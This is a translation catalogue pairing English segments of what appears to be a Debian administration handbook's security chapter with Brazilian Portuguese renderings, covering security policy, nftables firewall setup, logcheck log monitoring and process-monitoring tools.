0 - en to pt-BR translation catalogue (327 entries)

en: Security
pt-BR: Segurança

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
pt-BR: Um sistema de informação pode ter variados níveis de importância, dependendo do ambiente. Em alguns casos, é vital para a sobrevivência de uma empresa. Deve, portanto, ser protegido de vários tipos de riscos. O processo de avaliação desses riscos, definição e execução da proteção é coletivamente conhecido como o "processo de segurança".

en: Defining a Security Policy
pt-BR: Definindo uma Política de Segurança

en: <emphasis>CAUTION</emphasis> Scope of this chapter
pt-BR: <emphasis>ATENÇÃO</emphasis> Escopo deste capítulo

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
pt-BR: A palavra "segurança" em si abrange uma vasta gama de conceitos, ferramentas e procedimentos, nenhum dos quais se aplicam universalmente. Escolher entre eles requer uma ideia precisa de quais são seus objetivos. Cuidar da segurança de um sistema começa responder a algumas perguntas. Ao se focar afobadamente na implementação de um conjunto arbitrário de ferramentas corre-se o risco de se concentrar nos aspectos errados da segurança.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
pt-BR: A primeira coisa a determinar é, portanto, o objetivo. Uma boa abordagem para ajudar com esta determinação começa com as seguintes perguntas:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
pt-BR: <emphasis>O que</emphasis> estamos tentando proteger? A política de segurança vai ser diferente, dependendo se queremos proteger os computadores ou dados. Neste último caso, também precisamos saber quais os dados.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
pt-BR: <emphasis>Contra</emphasis> o que estamos tentando proteger? Vazamento de dados confidenciais? Perda acidental de dados? Perda de receita causada pela interrupção do serviço?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
pt-BR: Além disso, de <emphasis>quem</emphasis> estamos tentando proteger? As medidas de segurança vão ser muito diferentes para se proteger contra um erro de digitação por um usuário regular do sistema do que quando a proteção for contra um determinado grupo atacante.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
pt-BR: O termo "risco" é normalmente usado para se referir coletivamente a esses três fatores: o que proteger, o que precisa ser impedido de acontecer, e que vai tentar fazer isso acontecer. Modelagem do risco requer respostas a estas três perguntas. A partir deste modelo de risco, uma política de segurança pode ser construída, e a política pode ser implementada com ações concretas.

en: <emphasis>NOTE</emphasis> Permanent questioning
pt-BR: <emphasis>NOTA</emphasis> Questionamento permanente

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
pt-BR: Bruce Schneier, um especialista mundial em matéria de segurança (e não apenas a segurança do computador) tenta combater um dos mitos mais importantes de segurança com um lema: "Segurança é um processo, não um produto". Ativos a serem protegidos mudam no tempo, assim como ameaças e os meios disponíveis para potenciais agressores. Mesmo se uma política de segurança foi inicialmente perfeitamente desenhada e implementada, nunca se deve descansar sobre seus louros. Os componentes de risco evoluem, e a resposta a esse risco deve evoluir nesse sentido.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
pt-BR: Restrições adicionais também devem ser levadas em conta, uma vez que podem restringir o leque de políticas disponíveis. Até onde estamos dispostos a ir para proteger um sistema? Esta questão tem um grande impacto sobre a política a implementar. A resposta é muitas vezes definida apenas em termos de custos monetários, mas os outros elementos devem também ser considerados, tais como a quantidade de inconveniência imposta aos usuários do sistema ou degradação do desempenho.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
pt-BR: Uma vez que o risco foi modelado, pode-se começar a pensar sobre a criação de uma política de segurança real.

en: <emphasis>NOTE</emphasis> Extreme policies
pt-BR: <emphasis>NOTA</emphasis> Políticas extremas

en: There are cases where the choice of actions required to secure a system is extremely simple.
pt-BR: Há casos em que a escolha das ações necessárias para proteger um sistema é extremamente simples.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
pt-BR: Por exemplo, se o sistema a ser protegido é apenas um computador de segunda mão, cuja única utilização consiste em adicionar alguns números no final do dia, decidir não fazer nada especial para protegê-lo seria bastante razoável. O valor intrínseco do sistema é baixo. O valor dos dados é igual a zero, uma vez que não são armazenados no computador. Um atacante potencial infiltrando este "sistema" só ganharia uma calculadora pesada. O custo de proteger tal sistema seria provavelmente maior do que o custo de uma violação.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
pt-BR: No outro extremo do espectro, podemos querer proteger a confidencialidade de dados secretos da forma mais abrangente possível, superando qualquer outra consideração. Neste caso, uma resposta apropriada seria a destruição total destes dados (apagando de forma segura os arquivos, triturando os discos rígidos em pedaços, em seguida, dissolvendo estes bits em ácido, e assim por diante). Se houver um requisito adicional de que os dados devem ser mantidos guardados para uso futuro (embora não necessariamente prontamente disponível), e se o custo ainda não é um fator, então, um ponto de partida seria armazenar os dados em placas de liga leve de irídio-platina armazenados em depósitos à prova de bomba sob várias montanhas no mundo, cada uma das quais, é claro, completamente secreta e guardada por exércitos inteiros…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
pt-BR: Esses exemplos podem parecer extremos, eles, no entanto, são uma resposta adequada aos riscos definidos, na medida em que eles são o resultado de um processo de pensamento que leva em conta os objetivos a atingir e as limitações a cumprir. Ao vir de uma decisão fundamentada, nenhuma política de segurança é menos respeitável do que qualquer outra.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
pt-BR: Na maioria dos casos, o sistema de informação pode ser segmentado em subconjuntos consistentes e na maior parte independentes. Cada subsistema terá suas próprias exigências e restrições, e assim a avaliação do risco e do projeto da política de segurança deve ser realizado separadamente para cada um. Um bom princípio para se manter em mente é que um perímetro pequeno e bem definido é mais fácil de defender do que uma fronteira longa e sinuosa. A organização da rede também deve ser concebida de acordo: os serviços sensíveis devem ser concentrados em um pequeno número de máquinas, e estas máquinas só devem ser acessíveis através de um número mínimo de pontos de verificação; proteger estes pontos de verificação será mais fácil do que proteger todos as máquinas sensíveis contra a totalidade do mundo exterior. É neste ponto que a utilidade de filtragem de rede (incluindo por firewalls) se torna aparente. Esta filtragem pode ser implementada com hardware dedicado, mas uma solução possivelmente mais simples e mais flexível é usar um firewall em software, como por exemplo o integrado no núcleo do Linux.

en: Firewall or Packet Filtering
pt-BR: Firewall ou Filtragem de pacotes

en: <emphasis>BACK TO BASICS</emphasis> Firewall
pt-BR: <emphasis>DE VOLTA AO BÁSICO</emphasis> Firewall

en: <primary>packet</primary><secondary>IP</secondary>
pt-BR: <primary>pacote</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
pt-BR: Um <emphasis>firewall</emphasis> é uma peça de equipamento de informática com hardware e/ou software que classifica os pacotes de entrada ou saída de rede (chegando de ou indo para uma rede local) e só deixa passar aqueles satisfazendo certas condições pré-definidas.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
pt-BR: Um firewall é um portal de filtragem da saída de rede e é efetivo apenas em pacotes que devem passar por ele. Portanto, o firewall só será eficaz quando a única rota para estes pacotes for através dele.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
pt-BR: <emphasis>CASO ESPECÍFICO</emphasis> Firewall Local

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
pt-BR: O kernel do Linux incorpora o firewall <emphasis>netfilter</emphasis>, que pode ser controlado a partir do espaço do usuário com os comandos <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> e <command>ebtables</command>.

en: To enable a default firewall in Debian execute:
pt-BR: Para habilitar um firewall padrão no Debian execute:

en: <computeroutput># </computeroutput><userinput>apt install -y nftables
    </userinput><computeroutput>Reading package lists... Done
    ...
    # </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>
    Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.
    </computeroutput>
pt-BR: <computeroutput># </computeroutput><userinput>apt install -y nftables
    </userinput><computeroutput>Lendo listas de pacotes... Pronto
    ...
    # </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>
    Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.
    </computeroutput>

en: nftables Behavior
pt-BR: Comportamento do nftables

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
pt-BR: Um bom entendimento das camadas 3, 4 e 5 do modelo OSI (Open Systems Interconnection) é essencial para obter o máximo do netfilter.

en: <emphasis>CULTURE</emphasis> The OSI model
pt-BR: <emphasis>CULTURA</emphasis> O modelo OSI

en: <primary>OSI</primary><secondary>model</secondary>
pt-BR: <primary>OSI</primary><secondary>modelo</secondary>

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
pt-BR: O modelo OSI é um modelo conceitual para implementar protocolos de rede sem se preocupar com as tecnologias e estruturas internas que estão por trás. O objetivo é a interoperabilidade de diversos sistemas de comunicações com protocolos de comunicações padrão.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
pt-BR: Este modelo foi definido no padrão ISO/EIC 7498. As sete camadas seguintes são descritas:

en: Physical: transmission and reception of raw bit streams over a physical medium
pt-BR: Física: transmissão e recepção de fluxos puros de bits através de um meio físico

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
pt-BR: Link de dados: transmissão confiável de frames de dados entre dois nós conectados por uma camada física

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
pt-BR: Rede: estruturar e gerenciar uma rede multinós, incluindo endereçamento, roteamento e controle de tráfego

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
pt-BR: Transporte: transmissão confiável de segmentos de dados entre pontos em uma rede, incluindo segmentação, reconhecimento e multiplexação

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
pt-BR: Sessão: gerenciamento de comunicação de sessões, ou seja, troca contínua de informações na forma de transmissões ida e volta entre dois nós

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
pt-BR: Apresentação: tradução de dados entre um serviço de rede e uma aplicação; incluindo codificação de caracteres, compressão de dados e criptografia/descriptografia

en: Application: High-level APIs, including resource sharing, remote file access.
pt-BR: Aplicação: APIs de alto nível, incluindo o compartilhamento de recursos, acesso a arquivos remotos.

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
pt-BR: O firewall é configurado com tabelas (<emphasis>tables</emphasis>), que contêm regras(<emphasis>rules</emphasis>) contidas em cadeias (<emphasis>chains</emphasis>). Ao contrário do iptables, <emphasis>nftables</emphasis> não possui nenhuma tabela padrão. O usuário decide quais e quantas tabelas criar. Cada tabela deve ter apenas uma das seguintes cinco famílias assinadas: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> e <literal>bridge</literal>. Usa-se <literal>ip</literal> se a família não é especificada.

en: <primary>chain</primary>
pt-BR: <primary>cadeia</primary>

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
pt-BR: Regras são feitas de declarações, que incluem algumas expressões que devem ser correspondidas, e então uma declaração final, como <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> e <literal>goto chain</literal>.

en: <primary>rule</primary>
pt-BR: <primary>regra</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
pt-BR: <emphasis>DE VOLTA AO BÁSICO</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
pt-BR: Para referência, um buffer de recepção é uma pequena região de memória para armazenamento de dados entre o tempo que chega na rede e o tempo que o kernel o manipula. Se esta região está cheia, os novos dados não podem ser recebidos, e o ICMP sinaliza o problema, de modo que o emissor possa diminuir a sua taxa de transferência (que deve, idealmente, chegar a um equilíbrio após algum tempo).

en: <primary>receive buffer</primary>
pt-BR: <primary>buffer de recepção</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
pt-BR: <primary>buffer</primary><secondary>buffer de recepção</secondary>

en: Moving from iptables to nftables
pt-BR: Migrando de iptables para nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
pt-BR: As ferramentas <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> são versões de iptables que usam a API nftables, de modo que os(as) usuários(as) podem continuar usando a antiga sintaxe iptables com elas, mas isto não é recomendado; essas ferramentas somente devem ser usadas para retrocompatibilidade.

en: Syntax of <command>nft</command>
pt-BR: Sintaxe do <command>ntf</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
pt-BR: Os comandos <command>nft</command> permitem manipular tabelas, cadeias e regras. A opção <literal>table</literal> suporta múltiplas operações: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> e <literal>flush</literal>. O comando <command>nft add table ip6 mangle</command> adiciona uma nova tabela da família <literal>ip6</literal>.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
pt-BR: Para inserir uma nova cadeia de base na tabela de <literal>filtro</literal>, você pode executar o seguinte comando (observe que o ponto e virgula é protegido por uma barra invertida quando se usa o Bash):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
pt-BR: Regras são geralmente adicionadas com a seguinte sintaxe: <command>nft add rule [<replaceable>família</replaceable>] <replaceable>tabela</replaceable> <replaceable>cadeia</replaceable> handle <replaceable>handle</replaceable> statement</command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
pt-BR: <command>insert</command> é similar ao comando <command>add</command>, mas a regra oferecida é prefixada à cadeia ou antes da regra com o dado<foreignphrase>handle</foreignphrase> em vez do fim ou após aquela regra. Por exemplo, o comando seguinte insere uma regra antes da regra com <foreignphrase>handler</foreignphrase> número 8:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
pt-BR: Os comandos <command>nft</command> executados não fazem modificações permanentes na configuração, por isso serão perdidas se não forem salvas. As regras de firewall estão localizadas em <filename>/etc/nftables.conf</filename>. Uma maneira simples de gravar a configuração de firewall permanentemente é executar <command>nft list ruleset &gt; /etc/nftables.conf</command> como root.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
pt-BR: <command>nft</command> permite muitas outras operações, consulte sua página de manual <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> para mais informações.

en: Installing the Rules at Each Boot
pt-BR: Instalando as Regras em Cada Inicialização

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
pt-BR: Em outros casos, a maneira recomendada é registrar o script de configuração em diretivas <literal>up</literal> do <filename>/etc/network/interfaces</filename>. No exemplo a seguir, o script é armazenado em <filename>/usr/local/etc/arrakis.fw</filename>.

en: <filename>interfaces</filename> file calling firewall script
pt-BR: arquivo <filename>interfaces</filename> chamando script firewall

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
pt-BR: Isso obviamente assume que você está usando o <emphasis role="pkg">ifupdown</emphasis> para configurar as interfaces de rede. Se você está usando algo diferente (como o <emphasis>NetworkManager</emphasis> ou <emphasis>systemd-networkd</emphasis>), então consulte suas respectivas documentações para encontrar maneiras de executar um script após a interface ter sido levantada.

en: Supervision: Prevention, Detection, Deterrence
pt-BR: Supervisão: Prevenção, Detecção, Desencorajamento

en: <primary>monitoring</primary>
pt-BR: <primary>Monitoramento</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
pt-BR: O monitoramento é uma parte integrante de qualquer política de segurança por várias razões. Entre elas, que o objetivo da segurança não é normalmente restrito a garantir a confidencialidade dos dados, mas também inclui a disponibilidade assegurada dos serviços. Portanto, é imperativo verificar se tudo funciona como esperado, e para detectar em tempo hábil qualquer desvio no comportamento ou mudança na qualidade do(s) serviço(s) entregue(s). A atividade de monitoramento pode ajudar a detectar tentativas de invasão e permitir uma reação rápida antes que elas causem consequências graves. Esta seção analisa algumas ferramentas que podem ser usadas para monitorar vários aspectos de um sistema Debian. Como tal, completa <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
pt-BR: Monitoramento de Logs com <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
pt-BR: <primary>monitorando</primary><secondary>arquivos de log</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
pt-BR: O programa <command>logcheck</command> monitora arquivos de log a cada hora por padrão. Ele envia mensagens de log incomuns em e-mails para o administrador, para posterior análise.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
pt-BR: A lista de arquivos monitorados é armazenada em <filename>/etc/logcheck/logcheck.logfiles</filename>, os valores padrão funcionam bem se o arquivo <filename>/etc/rsyslog.conf</filename> não foi completamente refeito.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
pt-BR: <command>logcheck</command> pode trabalhar em um dos três modos mais ou menos detalhados: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> e <emphasis>workstation</emphasis>. O primeiro é <emphasis>muito</emphasis> verboso, e provavelmente deve ser restrito a servidores específicos, tais como firewalls. O segundo modo (e padrão) é recomendado para a maioria dos servidores. O último é projetado para estações de trabalho, e é ainda mais suscinto (filtra ainda mais mensagens).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
pt-BR: Nos três casos, o <command>logcheck</command> provavelmente deve ser personalizado para excluir algumas mensagens extras (dependendo dos serviços instalados), a menos que o administrador realmente deseje receber lotes por hora de longos e-mails desinteressantes. Uma vez que o mecanismo de seleção de mensagem é bastante complexo, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> é uma leitura necessária - quiçá desafiadora.

en: The applied rules can be split into several types:
pt-BR: As regras aplicadas podem ser divididas em vários tipos:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
pt-BR: aquelas que qualificam uma mensagem como uma tentativa de invasão (armazenada em um arquivo no diretório <filename>/etc/logcheck/cracking.d/</filename>);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
pt-BR: aquelas cancelando essas qualificações (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
pt-BR: aquelas classificando uma mensagem como um alerta de segurança (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
pt-BR: aquelas cancelando esta classificação (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
pt-BR: e finalmente, as que se aplicam às mensagens restantes (consideradas como <emphasis>eventos de sistema</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
pt-BR: <emphasis>ATENÇÃO</emphasis> Ignorando uma mensagem

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
pt-BR: Qualquer mensagem marcada como uma tentativa de invasão ou um alerta de segurança (seguindo uma regra armazenada em um arquivo <filename>/etc/logcheck/violations.d/myfile</filename>) só pode ser ignorada por uma regra em arquivos <filename>/etc/logcheck/violations.ignore.d/myfile</filename> ou <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
pt-BR: Um evento de sistema é sempre sinalizado a menos que uma regra em um dos diretórios <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> indique que o evento deve ser ignorado. Naturalmente, os únicos diretórios levados em consideração são aqueles que correspondem aos níveis de verbosidade iguais ou maiores que o modo de funcionamento selecionado.

en: Monitoring Activity
pt-BR: Monitorando Atividades

en: <primary>monitoring</primary><secondary>activity</secondary>
pt-BR: <primary>monitorando</primary><secondary>atividades</secondary>

en: <primary>activity, monitoring</primary>
pt-BR: <primary>atividades, monitorando</primary>

en: In Real Time
pt-BR: Em Tempo Real

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
pt-BR: <command>top</command> é uma ferramenta interativa que exibe uma lista de processos em execução. A ordem padrão baseia-se na quantidade atual de utilização do processador e pode ser obtida com a tecla <keycap>P</keycap>. Outras ordenações incluem ordenar por memória ocupada (tecla <keycap>M</keycap>), pelo tempo total do processador (tecla <keycap>T</keycap>) e pelo identificador de processo (tecla <keycap>N</keycap>). A tecla <keycap>k</keycap> permite matar um processo digitando seu identificador de processo. A tecla <keycap>r</keycap> permite fazer <emphasis>renice</emphasis> num processo, ou seja, mudar sua prioridade.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
pt-BR: Quando o sistema parece estar sobrecarregado, <command>top</command> é uma ótima ferramenta para ver quais processos estão competindo por tempo de processador ou consumindo muita memória. Em particular, muitas vezes é interessante verificar se os processos que consomem recursos coincidem com os serviços reais conhecidos que a máquina hospeda. Um processo desconhecido rodando como usuário www-data deve realmente se destacar e ser investigado, já que é provavelmente uma instância de software instalado e executado no sistema através de uma vulnerabilidade em uma aplicação web.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
pt-BR: <command>top</command> é uma ferramenta muito flexível e sua página de manual dá detalhes sobre como personalizar a sua exibição e adaptá-la às suas necessidades e hábitos pessoais.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
pt-BR: A ferramenta gráfica <command>gnome-system-monitor</command> é semelhante ao <command>top</command> e proporciona mais ou menos os mesmos recursos.

en: History
pt-BR: História

en: <primary>activity, history</primary>
pt-BR: <primary>atividades, histórico de</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
pt-BR: Carga do processador, o tráfego de rede e o espaço livre no disco são informações que variam constantemente. Manter um histórico de sua evolução é muitas vezes útil para determinar exatamente como o computador é usado.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
pt-BR: Existem muitas ferramentas dedicadas a esta tarefa. A maioria pode buscar dados via SNMP (<emphasis>Simple Network Management Protocol</emphasis>, a fim de centralizar esta informação. Um benefício adicional é que este permite buscar dados de elementos de rede que podem não ser de computadores de uso geral, tais como roteadores de rede dedicadas ou switches.

en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
pt-BR: Este livro trata do Munin com algum detalhe (ver <xref linkend="sect.munin" />) como parte do <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. O Debian também fornece uma ferramenta similar, o <emphasis role="pkg">cacti</emphasis>. Sua implantação é um pouco mais complexa, pois se baseia apenas em SNMP. Apesar de ter uma interface web, a compreensão dos conceitos envolvidos na configuração ainda requer algum esforço. A leitura da documentação HTML (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) deve ser considerada um pré-requisito.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
pt-BR: <emphasis>ALTERNATIVO</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
